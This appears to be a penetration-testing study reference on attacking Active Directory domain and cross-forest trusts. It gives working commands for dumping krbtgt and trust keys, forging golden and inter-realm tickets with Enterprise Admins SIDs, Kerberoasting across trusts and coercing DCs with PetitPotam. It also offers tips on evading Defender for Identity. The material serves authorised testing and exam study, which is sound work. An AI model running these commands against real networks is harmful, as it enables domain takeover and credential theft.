FLOW ^: Pentest Workflow

Domain Trusts and Cross-Forest

CPTS attack-flow reference for domain trusts and cross-forest in an authorised engagement.

advanced updated 2026-08-29 Impacket · PowerView · BloodHound

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 14 of 17 · Focus: Domain Trusts and Cross-Forest

Previous: Stage 10 — Lateral Movement, Pivoting, and Loot · Next: Stage 11 — Documentation and Reporting


🌲 DOMAIN TRUSTS & CROSS-FOREST — beyond one domain

DA in one domain isn’t the end when there’s a forest. Parent/child and forest trusts let a compromise in one domain reach the others. The rule that decides everything: SID filtering is OFF inside a forest (parent↔child) but ON across a forest trust — so the ExtraSids/SID-History trick that owns the forest root does not cross into a foreign forest. Enumerate the trusts first, then pick the technique by trust type. Deep dives: 🔶 Attack · 🔶 Attack · 🔶 Attack · 🔶 Attack.


Trust types — the decision table

Every technique below keys off three properties: direction (which way credentials flow), transitivity (does the trust chain extend?), and SID filtering (are foreign-privileged SIDs stripped?).

Trust typeCreated whenDefault directionTransitive?SID filteringAttack surface
Parent–Childchild domain added to forestbidirectionalYesOFF (inside forest)child DA → forest root via ExtraSids (golden ticket + -519)
Tree–Rootnew tree (different DNS namespace) added to forestbidirectionalYesOFFsame as parent–child
Externalmanual, domain↔domain across forests (or NT4)set at creationNoON (always)only what’s explicitly shared; kerberoast/delegation across
Forestmanual, forest↔forestset at creationYes (within the trust)ON (default)trust-key referral, foreign group hunting
Shortcutmanual, between two domains in same forestbidirectionalYesOFFspeed optimisation only — same attack surface as parent–child
Realm (MIT)AD↔non-Windows Kerberosset at creationNon/arare in labs; treat like external

Direction, decoded: an inbound trust on the target means users from my domain can authenticate there (target trusts me) — that’s the direction I can attack along. Outbound means I trust them — their compromise reaches me, not vice versa. Mnemonic: “inbound = I can go in.” Bidirectional = both.

Direction cheat:
  CHILD  --(trusts PARENT)--> PARENT   means: PARENT users can auth into CHILD
  attack flows WITH the "users can auth" arrow, i.e. from the trusted side to the trusting side

Transitivity matrix:

Parent-Child / Tree-Root:  transitive — A↔B and B↔C inside a forest ⇒ A trusts C automatically
Forest:                    transitive across the two forests' domains, but does NOT chain to a third forest
External:                  never transitive — only the two named domains

Enumerate trusts

What to look for → direction (inbound/outbound/bidirectional), type (parent-child vs forest/external), and whether it’s transitive. BloodHound draws trust edges; confirm on the wire. Everything in this section is standard Stage 04 enumeration pointed at trustedDomain objects.

From Linux (authenticated):

nxc ldap "$DC" -u "$U" -p "$P" -M enum_trusts
nxc ldap "$DC" -u "$U" -p "$P" \
  --query "(objectClass=trustedDomain)" ""

# ldapdomaindump pulls trusts into the HTML/grep-able dump automatically
ldapdomaindump -u "$DOMAIN\\$U" -p "$P" "$DC" -o ldd-out/
grep -i trust ldd-out/domain_trusts.html

# impacket: quick DC locator per discovered domain
getTGT.py "$DOMAIN/$U:$P" -dc-ip "$DC" -debug 2>/dev/null | head   # sanity: creds work before chasing trusts

From a Windows Command Prompt:

nltest /domain_trusts /all_trusts
nltest /dsgetdc:$DOMAIN /force                     :: locate a DC in the *current* domain
nltest /dsgetdc:partner.com                        :: locate a DC in the TRUSTED domain (proves routing works)

From PowerShell with the AD module or PowerView:

Get-ADTrust -Filter * |
  Select-Object Name, Direction, TrustType, ForestTransitive

Get-DomainTrust                                    # trusts of current domain
Get-ForestTrust                                    # trusts of the whole forest
Get-DomainTrustMapping                             # walk the full map across all discovered trusts
Get-DomainTrust -Domain partner.com                # enumerate FROM the other side, through the trust
Get-DomainUser -Domain partner.com                 # any readable objects across the trust

BloodHound cross-domain ingest: the collector only grabs the domain you’re scoped to by default — collect each domain in the forest separately, and BloodHound stitches the trust edges (TrustedBy) plus Foreign nodes (ForeignGroupMembership, ForeignAdmin) automatically:

bloodhound-ce-python -u "$U" -p "$P" -d child.$DOMAIN -dc child-dc.child.$DOMAIN -c all --zip
bloodhound-ce-python -u "$U" -p "$P" -d $DOMAIN -dc $DC -c all --zip        # repeat per domain
# SharpHound equivalent per domain: SharpHound.exe -c all -d child.domain.local

[!warning] Watch out — trust enumeration is noisy nltest /domain_trusts and Get-ADTrust are benign admin commands; Get-DomainTrustMapping and cross-domain LDAP queries generate directory-service traffic from a workstation that has no business asking — Defender for Identity flags reconnaissance against trusts patterns. BloodHound -c all across multiple domains multiplies the LDAP query volume; consider -c DCOnly or grouped collection per domain. Trust objects themselves are world-readable in AD — authenticated users may enumerate them by design (T1482), so the detection signal is velocity and source, not the read itself.


INTRA-FOREST: Child → Parent (forest root) via SID History

What to look for → you’re DA in a child domain and want Enterprise Admin over the whole forest. Works because SID filtering is not enforced inside a forest — a forged ticket from the child can carry the forest-root Enterprise Admins SID (<rootSID>-519) in its ExtraSids, and the root accepts it.

The keys you need:

  1. Child domain krbtgt NT hash (you’re child DA — DCSync it).
  2. Child domain SID (any whoami /user or Get-DomainSID).
  3. Forest root domain SID (resolve via the trust, e.g. Get-DomainSID -Domain root.local or lookupsid.py).

Linux / Impacket flow:

# 1. DCSync the CHILD krbtgt (you're child DA), get child domain SID + the parent's EA SID (parentSID-519)
secretsdump.py "child.$DOMAIN"/'childDC$'@child-dc -just-dc-user krbtgt
lookupsid.py "child.$DOMAIN"/Administrator@parent-dc | head -3     # resolve parent domain SID

# 2. forge a Golden Ticket in the child, inject parent Enterprise Admins SID via ExtraSids
ticketer.py -nthash <child_krbtgt> -domain-sid S-1-5-21-<childSID> \
  -domain child.$DOMAIN -extra-sid S-1-5-21-<parentSID>-519 Administrator
export KRB5CCNAME=Administrator.ccache

# 3. now Enterprise Admin across the forest → DCSync the forest root
secretsdump.py -k -no-pass "$DOMAIN"/Administrator@parent-dc

Impacket one-shot: raiseChild.py automates the entire child→root escalation (dumps child krbtgt, resolves SIDs, forges the ExtraSids ticket, and can drop straight into a shell on the root DC):

raiseChild.py child.$DOMAIN/Administrator:'<childpass>'
raiseChild.py -hashes :<child_admin_nthash> child.$DOMAIN/Administrator
raiseChild.py child.$DOMAIN/Administrator -target-exec parent-dc.$DOMAIN   # forge + psexec-style exec on root DC

Windows foothold flow (mimikatz + Rubeus):

:: dump child krbtgt AND the trust keys in one go
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:CHILD\krbtgt" "exit"
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"        :: krbtgt + inter-realm trust keys + domain SIDs

:: forge golden with parent EA SID history
mimikatz.exe "kerberos::golden /user:Administrator /domain:child.$DOMAIN /sid:S-1-5-21-<childSID> ^
  /krbtgt:<child_krbtgt_nthash> /sids:S-1-5-21-<parentSID>-519 /ptt" "exit"

:: verify + use
dir \\parent-dc.$DOMAIN\C$

[!tools] Stage this mimikatz_trunk.zip (SHA-256 · GPG signature)

[!warning] Watch out

  • -extra-sid / /sids must be the parent’s domain SID + -519 (Enterprise Admins), not the child’s — the most common botched forge. Get the parent SID with lookupsid.py against a parent DC, don’t guess.
  • Fires 4768/4769 for the cross-domain TGT/TGS and the forged ticket’s account (e.g. Administrator) may not even exist in the child — Defender for Identity detects golden tickets via ticket-lifetime anomalies (default TGT lifetime 10h; mimikatz defaults to 10 years → massive tell). Set /endin:600 /renewmax:10080 (10h/7d, real defaults).
  • krbtgt is RC4 by default; if the domain is AES-only (rare), forge with -aesKey / /aes256 instead.
  • This is the classic “child DA → forest root” and it needs no CVE — the trust design allows it. Deep dive: 🔶 Attack. MITRE: T1550.003 (PtT) + T1558.001 (Golden Ticket).

Inter-realm trust keys — the forest trust’s master key

What to look for → every trust creates an inter-realm trust account (TRUSTEDDOMAIN$, e.g. PARTNER$) whose password is the shared secret for the trust. Dump it (as DA) and you can forge referral TGTs into the trusted side — for parent↔child this equals forest-root access, for forest trusts it’s the entry ticket (still gated by SID filtering).

:: all trust keys for the domain, inbound and outbound
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
:: output per trust: [IN] current + previous RC4/AES keys, [OUT] same — save BOTH directions
# impacket equivalent — the trust account's hash IS the RC4 trust key
secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"

[!note] Trust-key gotchas

  • The trust account password rotates every 30 days (like machine accounts) — mimikatz shows current and previous; both are typically valid.
  • RC4 vs AES trust key: secretsdump gives you the NT (RC4) key. If you forge an inter-realm TGT with the RC4 key but the trusting side expects AES (or you ask asktgs for AES), the KDC may answer with a ticket you can’t parse/use — specify ticketer.py -nthash <rc4key> (RC4 end-to-end) and request RC4 service tickets (Rubeus asktgs /enctype:rc4), or extract the AES trust keys with lsadump::trust /patch and forge with -aesKey.
  • Trust keys are how SID filtering is enforced: the trusting KDC rebuilds the PAC and strips filtered SIDs — the key gets you across, it doesn’t smuggle privileges.

CROSS-FOREST — SID filtering blocks the shortcut

What to look for → a forest trust to a partner forest. ExtraSids is filtered here, so you can’t just inject a foreign EA SID. Two real paths:

# A) Trust-key forge → referral into the foreign forest (only reaches groups explicitly shared across the trust)
secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"     # dump the inter-realm trust key
ticketer.py -nthash <trust_key> -domain-sid S-1-5-21-<mySID> -domain "$DOMAIN" \
  -spn krbtgt/partner.com Administrator                          # inter-realm referral TGT
export KRB5CCNAME=Administrator.ccache
getST.py -k -no-pass -spn cifs/partner-dc.partner.com "$DOMAIN/Administrator@partner.com"

# B) Hunt foreign-group memberships / ACLs your principals already hold ACROSS the trust (BloodHound "Foreign" nodes)

From a Windows foothold, request the destination service ticket with Rubeus:

Rubeus.exe asktgs /ticket:referral.kirbi /service:cifs/partner-dc.partner.com /ptt /enctype:rc4

What SID filtering actually strips (forest/external trusts): SIDs from the other forest that identify privileged or well-known principals — specifically anything with RID ≥ 500 in the foreign domain (Domain Admins -512, Enterprise Admins, the Administrator account, etc.) plus SIDs from any domain other than the directly trusted one. What survives: RIDs < 1000 built-in container SIDs are partly exempt — the classic abuse is that Account Operators-adjacent and some built-in groups can pass; more practically, foreign SIDs with RID ≥ 1000 (normal users/groups) survive untouched. So: a foreign user who is a member of a group explicitly granted local admin on a server (or in an ACL) keeps that access through the trust.

Concretely exploitable across a filtered forest trust:

[ ] ForeignSecurityPrincipals — enumerate the trusting forest's CN=ForeignSecurityPrincipals:
    members of local groups that are SIDs from YOUR forest (Get-DomainObject -Domain partner.com, or
    nxc ldap query on (objectClass=foreignSecurityPrincipal)) → maps "my user X has rights over there"
[ ] Kerberoast across the trust — GetUserSPNs.py / Rubeus kerberoast against the trusting domain;
    service accounts there crack offline identically (Stage 05)
[ ] Unconstrained delegation — a server in the partner forest with unconstrained delegation will still
    hand you TGTs of partner-forest users/computers that touch it (printerbug coercion works cross-forest
    if routing/firewall allows) → partner DA
[ ] MSSQL link chains — linked servers routinely hop across trust boundaries where Kerberos would be
    filtered; xp_cmdshell on the far side executes in the partner forest (Stage 10 tooling)
[ ] ADCS cross-forest enrollment — templates enrollment-permitted for foreign principals (see below)

Selective authentication (Selective Authentication Enabled on the trust): even with a valid cross-trust ticket, you can only reach machines where your principal has the Allowed to Authenticate right (default: no one gets it implicitly — the “other forest users can’t even log on” mode). Enumeration tell: Get-ADTrust shows TrustAttributes values; Rubeus asktgs succeeds but dir \\host\C$ fails with access denied despite a valid ticket. In practice it’s rare — most forest trusts are wide — but when you hit it, hunt for the specific servers where AllowedToAuthenticate was granted.

[!warning] Watch out Across a forest trust you can only reach what’s explicitly shared (foreign group memberships, cross-forest ACLs). Chase BloodHound’s ForeignGroupMembership / ForeignAdmin nodes rather than expecting full DA. Forged cross-forest tickets are louder than intra-forest: the referral + foreign TGS pair (4768→4769 across two forests’ DCs) is a strong cross-forest-anomaly signal for Defender for Identity. Deep dive: 🔶 Attack.

[!tip] Two more trust plays ADCS cross-domain enrollment — a CA in one domain trusting principals from another lets you enroll a cert as a foreign identity → auth across the trust (pairs with Stage 07; check certipy find -enabled -dc-ip <otherDC> from the trusted side). 🔶 Attack. PAM / bastion-forest trust (Server 2016+, rare) — if you own the bastion forest, create a shadow principal mapping your bastion user’s SID to a production Domain Admins SID for standing admin in production. 🔶 Attack.

ForeignSecurityPrincipals — mapping who can reach what

What to look for → when a foreign principal is granted membership in a trusting forest’s group, AD stores a Foreign Security Principal object (CN=<SID>,CN=ForeignSecurityPrincipals,DC=...) — a stub that only holds the foreign SID. Enumerating these tells you exactly which accounts from your forest already have standing rights over there.

# FSPs in the trusting domain -> which foreign SIDs hold rights
Get-DomainObject -Domain partner.com -SearchBase "CN=ForeignSecurityPrincipals,DC=partner,DC=com"
# then resolve each SID back in YOUR forest to a real user/group
Get-DomainObject -Identity "S-1-5-21-<yourSID>-<rid>"
# and check what groups contain FSPs (nested foreign rights)
Get-DomainGroup -Domain partner.com | ForEach-Object {
  Get-DomainGroupMember -Domain partner.com -Identity $_.samaccountname -Recurse
} | Where-Object { $_.MemberName -match 'S-1-5-21' }
# Linux equivalent
nxc ldap "$DC" -u "$U" -p "$P" --query "(objectClass=foreignSecurityPrincipal)" ""

[!tip] BloodHound does this for you — ingest both forests and query MATCH (u)-[:MemberOf|ForeignGroupMembership*1..]->(g) RETURN u.name,g.name, or just eyeball the Foreign tabs on any high-value group. FSPs are the highest-signal, lowest-noise cross-forest attack path: no forging, no coercion, just rights someone forgot they granted.


Exploitation gotchas — quick reference

GotchaSymptomFix
-extra-sid with child SIDroot DC rejects / no EA rightsuse parent SID + -519
10-year forged TGTinstant DfI golden-ticket alert/endin:600 /renewmax:10080
AES ticket asked, RC4 trust key heldgetST fails / unparseable-nthash + /enctype:rc4, or extract AES via lsadump::trust /patch
Trust key rotated mid-engagementforged referral suddenly failsre-dump; the previous key often still works
Selective authentication on trustvalid TGS, still access deniedneed AllowedToAuthenticate per host — hunt grants or pick another vector
SID filtering strips your extra SIDsticket valid, privileges goneexpected cross-forest; pivot to foreign-group hunting
Clock skew between forestsKRB_AP_ERR_SKEWsync: ntpdate/faketime against the target forest’s DC
SID history enabled on a forest trustExtraSids might survive!rare misconfig — retry the intra-forest technique; treat as a finding

Technique picker — decision flow

Cross-forest technique pickerTD
DA in a domain
Trust type?
Parent-Child / Tree-Root
SID filtering OFF
Forge child golden ticket+ parentSID-519 ExtraSidsticketer.py / mimikatz /sid
Enterprise AdminDCSync forest root
Forest / External
SID filtering ON
Anything explicitly shared?
Foreign group membership / ACL
Use legit cross-trust accessBloodHound Foreign nodes
SPNs in other forest
Kerberoast across trustcrack offline
Unconstrained delegation host
Coerce partner-forest principalsharvest TGTs
ADCS enrollment rights
Enroll as foreign identitycert auth across trust
Nothing shared
Own the trust key anyway:referral TGT for auth,then enumerate what IS reachable
PAM / bastion
Shadow principal mappingbastion SID -> prod DA SID

Cross-forest Kerberoasting — the quiet win

What to look for → SPNs in the partner forest are usually requestable by any authenticated user through the trust — and partner-forest service accounts are often weaker (legacy services, forgotten passwords), because each forest’s admins assume the other side can’t touch them.

# request partner-forest service tickets THROUGH the trust (needs a valid cred in YOUR forest)
GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip "$DC" -target-domain partner.com -request
# Windows:
Rubeus.exe kerberoast /domain:partner.com /dc:partner-dc.partner.com
# PowerView across the trust — enumerate SPN accounts in the partner domain
Get-DomainUser -SPN -Domain partner.com | Select-Object samaccountname,serviceprincipalname
Get-DomainTrust | ForEach-Object { Get-DomainUser -SPN -Domain $_.TargetName }   # roast every trusted domain

Crack the returned $krb5tgs$ hashes exactly like Stage 05 (hashcat -m 13100/18200). A cracked partner-forest service account + any local admin it holds = your cross-forest foothold without forging anything — SID filtering never enters the picture because the access is legitimate.


Unconstrained delegation across a trust

What to look for → a server in the partner forest configured with unconstrained delegation (TRUSTED_FOR_DELEGATION). Any principal from your forest that authenticates to it drops a usable TGT in its memory — and coercion works across trusts when routing/firewalls allow SMB/RPC between forests.

# find them in the partner forest (through the trust)
Get-DomainComputer -Unconstrained -Domain partner.com
# coerce a partner-forest DC into touching your controlled unconstrained host in that forest:
# 1) monitor on the delegation host (in partner forest): Rubeus.exe monitor /interval:5 /filteruser:PARTNERDC$
# 2) coerce from Linux via your own forest's creds (if the partner DC accepts auth from your forest)
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" <listener_host> partner-dc.partner.com
# 3) harvested PARTNERDC$ TGT → DCSync the partner domain (Stage 06 flow)

[!warning] Watch out Coercion across forests requires network reachability from the target DC to your listener host (135/445 through the forest-to-forest firewall — often blocked). The delegation host itself must be one you already control in the partner forest, so this is a post-foothold escalation, not an entry vector. Also: printerbug/EFS coercion fire 4662/5145/5156 bursts and NTLM coercion across forests is a favourite DfI detection — see 08 - Stage 05 - Kerberos Attacks and 09 - Stage 06 - ACL and Object Abuse for the base techniques.


OPSEC summary — cross-trust telemetry

EventWhereWhat it shows
4768 (TGT requested)both forests’ DCsforged TGT use; account name from another domain
4769 (TGS requested)trusting-side DCcross-domain service tickets; the krbtgt/<foreign> referral is distinctive
4662 (replication)DCDCSync of krbtgt/trust keys from a non-DC host
4771 (pre-auth failed)DCbrute of trust account / bad forge attempts
Sysmon 10any boxlsass access if you dump trust keys via sekurlsa

[!tip] CPTS exam tip When the exam throws a multi-domain forest at you (e.g. the AEN-style labs): (1) dump trusts with Get-DomainTrustMapping early and draw the picture; (2) check BloodHound Foreign nodes before forging anything — a legit foreign-group path is quieter and faster than a golden ticket; (3) keep per-domain credential/SID tables in your notes — mixing up child vs parent SIDs wastes an hour; (4) every forest compromise is a report finding (“insufficient trust hardening / SID filtering not enforced” — root cause, not “hacker forged ticket”).


[!navigation] Continue the attack flow Previous: Stage 10 — Lateral Movement, Pivoting, and Loot

Dashboard: HTB Pentest Attack Flow

Next: Stage 11 — Documentation and Reporting